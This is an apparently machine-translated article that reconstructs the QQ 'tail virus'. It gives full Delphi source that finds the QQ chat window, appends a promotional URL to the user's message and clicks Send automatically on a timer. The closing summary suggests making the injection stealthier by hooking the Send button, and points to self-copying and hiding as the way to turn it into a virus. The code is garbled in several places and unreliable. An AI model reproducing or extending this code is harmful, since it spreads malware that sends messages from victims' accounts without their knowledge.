REL = file-list href = "Analysis of the Sending of QQ Tail Virus. Files / Filelist.xml">
Analysis of Sending Principle of QQ Tail Virus
Analysis of Sending Principle of QQ Tail Virus
Recently, the QQ tail virus is on the attack. I also often received the news of the tail sent by the netizens, so I'm curious, I also study the principle of studying this virus. First of all, I don't know the true principle of QQ tail virus, I just guess and write a similar program to implement it.
QQ tail: When the user opens a QQ message Send a window, the virus will automatically enter text in the message text box, and then send it out if the user reacts.
Program Implementation: First, you should find the handle of the QQ message send window and the window handle of the message text box and the "Send" button.
One,
How to find QQ messages Send window handle:
There are two kinds of QQ messages, one is a message mode. In this case, the window title contains the words "send message"; one is a chat mode, and the window title contains the words "chat";
You can find the corresponding handle by enumerating the window:
// Get the send message window of QQ
Function getqqwnd: hwnd;
VAR
HcurrentWindow: hwnd;
WNDTEXT: STRING;
Begin
HcurrentWindow: = getWindow (Application.handle, GW_HWndFirst);
While HcurrentWindow <> 0 DO
Begin
WNDTEXT: = GetWndText (HcurrentWindow);
IF (POS ('chat ", wndtext)> 0) or (POS (POS (' Send Message ', WNDTEXT)> 0) THEN
Begin
Result: = HcURRENTWINDOW;
EXIT;
END;
HcurrentWindow: = getWindow (HcurrentWindow, GW_HWndNext);
END;
Result: = 0;
END;
two,
How to find the "Send" button window handle:
After finding the QQ send message window, you can find the "Send" button handle. If the window handle is QQWnd, you can use a loop to find the text containing the "Send" window. After the experiment, "Send" The button is precisely the first child window of the form, so that you can use
btnwnd: = getdlgitem (QQWnd, 1); // Send button
To get the handle of the "Send" button.
three,
How to find a message text box window handle:
The message text box is not easy to find, but you can enter a few letters in the message text box, such as "abcd", so we can use the above method to find it, but after experiment, the message text box is not QQ The direct sub-window of the window, but a child window of one of the sub-windows, through experiments, you can use
TXTWND: = GetWindow (Getdlgitem (QQWND, 0), GW_CHILD); // Text Box
Come.
four,
How to get the text for the original message text:
To get the text of the original message text box, only one API function is required, as follows: // get the window text
Function getWndtext (hwnd: hwnd): String;
VAR
RET: longint;
MTEXT: PCHAR;
BUF: Integer;
Begin
RET: = SendMessage (HWND, WM_GETTEXTLENGTH, 0, 0) 1;
GetMem (mtext, reing);
Try
BUF: = longint (mtext);
SendMessage (HWND, WM_GETTEXT, RET, BUF);
Result: = STRPAS (MTEXT);
Finally
FreeMem (mText, Ret);
END;
END;
Fives,
How to add text in the original message text box:
Contrary to the text
// Send text to the window
Procedure setWndtext (hwnd: hwnd; text: string);
VAR
RET: longint;
MTEXT: PCHAR;
BUF: Integer;
Begin
GetMem (MTEXT, Length (Text));
Stropy (mtext, pchar (text));
Try
BUF: = longint (mtext);
SendMessage (HWND, WM_SETTEXT, 0, BUF);
Finally
FreeMem (MTEXT, Length (Text));
END;
END;
six,
If you let the "send" button automatically click:
Everything is ready, now I want to start sending, in order to send the message automatically, we can simulate the "Send" button is clicked.
SendMessage (btnwnd, wm_lbuttondown, mk_lbutton, 0);
SendMessage (btnwnd, wm_lbuttonup, 0,0);
The click send function is implemented by simulating a mouse button on the "Start" button.
Seven,
Other timing functions are relatively simple, and there is not much to say this.
Eight,
All source code is as follows:
Unit unit1;
Interface
Uses
Windows, Messages, Sysutils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Stdctrls, ExtCtrls;
Type
TFORM1 = Class (TFORM)
Timer1: TTIMER;
Button1: tbutton;
EDIT1: TEDIT;
Label1: TLABEL;
Button2: tbutton;
Procedure Timer1Timer (Sender: TOBJECT);
Procedure Button1Click (Sender: TOBJECT);
Procedure Button2Click (Sender: TOBJECT);
Private
{Private Declarations}
public
{Public declarations}
END;
VAR
FORM1: TFORM1;
IMPLEMENTATION
{$ R * .dfm}
// get window text
Function getWndtext (hwnd: hwnd): String;
VAR
RET: longint;
MTEXT: PCHAR;
BUF: Integer;
Begin
RET: = SendMessage (HWND, WM_GETTEXTLENGTH, 0, 0) 1;
GetMem (mtext, reing);
Try
BUF: = longint (mtext);
SendMessage (hwnd, wm_gettext, ret, buf); result: = strpas (mtext);
Finally
FreeMem (mText, Ret);
END;
END;
// Send text to the window
Procedure setWndtext (hwnd: hwnd; text: string);
VAR
RET: longint;
MTEXT: PCHAR;
BUF: Integer;
Begin
GetMem (MTEXT, Length (Text));
Stropy (mtext, pchar (text));
Try
BUF: = longint (mtext);
SendMessage (HWND, WM_SETTEXT, 0, BUF);
Finally
FreeMem (MTEXT, Length (Text));
END;
END;
// Get the send message window of QQ
Function getqqwnd: hwnd;
VAR
HcurrentWindow: hwnd;
WNDTEXT: STRING;
Begin
HcurrentWindow: = getWindow (Application.handle, GW_HWndFirst);
While HcurrentWindow <> 0 DO
Begin
WNDTEXT: = GetWndText (HcurrentWindow);
IF (POS ('chat ", wndtext)> 0) or (POS (POS (' Send Message ', WNDTEXT)> 0) THEN
Begin
Result: = HcURRENTWINDOW;
EXIT;
END;
HcurrentWindow: = getWindow (HcurrentWindow, GW_HWndNext);
END;
Result: = 0;
END;
/ / Timed processing
Procedure TimerProc;
VAR
Qqwnd, txtwnd, btnwnd: hwnd;
Msg: String;
Begin
qqwnd: = getqqwnd;
IF Qqwnd = 0.
btnwnd: = getdlgitem (QQWnd, 1); // Send button
TXTWND: = GetWindow (Getdlgitem (QQWND, 0), GW_CHILD); // Text Box
IF (btnwnd = 0) or (txtWnd = 0).
Msg: = getWndText (txtwnd);
Msg: = msg # 13 # 10 'Welcome to the green network http://www.lvyin.net';
SetWndText (TXTWND, MSG);
SendMessage (btnwnd, wm_lbuttondown, mk_lbutton, 0);
SendMessage (btnwnd, wm_lbuttonup, 0,0);
END;
Procedure TFORM1.TIMER1TIMER (Sender: TOBJECT);
Begin
TimerProc;
END;
Procedure TFORM1.BUTTON1CLICK (Sender: TOBJECT);
Begin
Timer1.enabled: = not timer1.enable;
IF Timer1.enabled Then
Button1.caption: = 'Stop'
Else
Button1.caption: = 'start';
END;
Procedure TFORM1.BUTTON2CLICK (Sender: TOBJECT);
Begin
Timer1.interval: = start (edit1.text);
End.
Summary: Only the main function of the QQ message is automatically sent, which may be different from the principle of QQ tail (I don't know), but it should be almost the same. If you want to make the user feel unusual, you have to change it, don't send it automatically, but when you click the "Send" button, add your text. Such words can intercept the click message of the "Send" button, and then add the text in the above method, and then turn the message to the program. As for how to make it a virus, you will copy it yourself, self-hide, etc., that is another topic, there is not much talks here.
Another: This article only uses technology research, I hope everyone don't take it to quail eggs. If there is a consequence, I am not responsible. Welcome everyone to believe.
Author: Wu Chong-ho
Email: wuqiu@regalcyber.com
Homepage: http://www.chuanghao.com
